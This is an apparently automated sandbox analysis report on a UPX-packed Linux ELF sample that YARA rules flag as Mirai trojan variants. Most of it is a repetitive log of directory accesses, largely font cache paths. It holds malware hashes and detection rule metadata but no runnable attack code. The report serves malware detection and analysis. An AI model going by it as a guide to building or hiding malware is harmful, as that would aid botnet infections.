Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/0@49/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
